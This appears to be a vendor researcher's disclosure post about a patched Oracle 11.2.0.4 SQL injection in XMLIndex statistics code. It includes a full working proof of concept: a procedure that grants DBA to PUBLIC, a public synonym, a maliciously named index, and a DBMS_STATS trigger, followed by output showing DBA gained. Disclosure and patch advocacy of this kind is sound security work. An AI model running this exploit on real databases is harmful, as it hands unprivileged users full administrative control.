In the October 2015 'Critical Patch Update' Oracle fixed a flaw in XML index support code: namely SQL injection which allows privilege escalation to DBA by unprivileged users. I reported this issue to Oracle back in April 2015 and 6 month later the fix is here. What is so special about it? They have addressed very similar issues already reported by other security researchers but missed this specific vulnerability.

Here is how it works: a user needs to have certain privileges first. Namely CREATE SESSION, CREATE PROCEDURE, CREATE TABLE, and CREATE PUBLIC SYNONYM. From that it is easy to elevate privileges on an unpatched system via the following set of actions, assuming all commands are executed as mentioned user against Oracle Database 11.2.0.4 without CPU October 2015:

1. Create a stored procedure that will essentially grant DBA to public.

   CREATE PROCEDURE F ( PARTNAME VARCHAR2, CASCADE_PARTS BOOLEAN ) AUTHID CURRENT_USER IS BEGIN EXECUTE IMMEDIATE ('GRANT DBA TO PUBLIC'); END; /

2. Create a public synonym for the just created procedure, so the vulnerable system-provided code can see our procedure even when it is not in the system schema. Public synonym allows to make evil procedure visible to all:

   CREATE PUBLIC SYNONYM POC FOR F;

3. Create a table with a column of XMLType type:

   CREATE TABLE T34(id int not null primary key, val XMLType);

   This is essential since the vulnerability lies in internal SQL executed by XMLType column statistics maintenance code.

4. Create an index on the xml column having very special name – that name will be used later on for SQLi:

   CREATE INDEX "');POC('" ON T34(val) INDEXTYPE IS XDB.XMLIndex;

5. Finally trigger SQLi by invoking DBMS_STATS.DELETE_TABLE_STATS:

   DECLARE TAB_NAME varchar2(100);
STMT varchar2(100);
BEGIN
SELECT OBJECT_NAME INTO TAB_NAME FROM ALL_OBJECTS WHERE OBJECT_NAME LIKE 'SYS%POC%PATH_TABLE';
STMT := 'CREATE TABLE ' || SUBSTR(TAB_NAME, 1, INSTR(TAB_NAME, '_')) || '(id int)';
EXECUTE IMMEDIATE STMT;
DBMS_STATS.DELETE_TABLE_STATS(USER, 'T34');
END;
/

   We do create another table (named like SYS87356_) to make sure vulnerable code is executed – it is an additional prerequisite for the exploit.

   At this point we should reconnect to the database and examine effective roles:

   SELECT * FROM SESSION_ROLES;
ROLE ------------------------------
DBA SELECT_CATALOG_ROLE
HS_ADMIN_SELECT_ROLE
EXECUTE_CATALOG_ROLE
HS_ADMIN_EXECUTE_ROLE
DELETE_CATALOG_ROLE
EXP_FULL_DATABASE
IMP_FULL_DATABASE
DATAPUMP_EXP_FULL_DATABASE
DATAPUMP_IMP_FULL_DATABASE
GATHER_SYSTEM_STATISTICS
SCHEDULER_ADMIN WM_ADMIN_ROLE
JAVA_ADMIN JAVA_DEPLOY
XDBADMIN
XDB_SET_INVOKER
OLAP_XS_ADMIN
OLAP_DBA
19 rows selected.

Oracle has released a fix for this high severity issue (CVSS 6.5) – make sure it is installed ASAP. Trustwave database security products have checks released that verify that fixes are deployed on customer databases for this and other vulnerabilities fixed in Oracle Critical Patch Update October 2015. 

For more information:

Oracle October 2015 Critical Patch Update: http://www.oracle.com/technetwork/topics/security/cpuoct2015-2367953.html

Trustwave SpiderLabs Advisory: https://www.trustwave.com/en-us/resources/security-resources/security-advisories/?fid=18816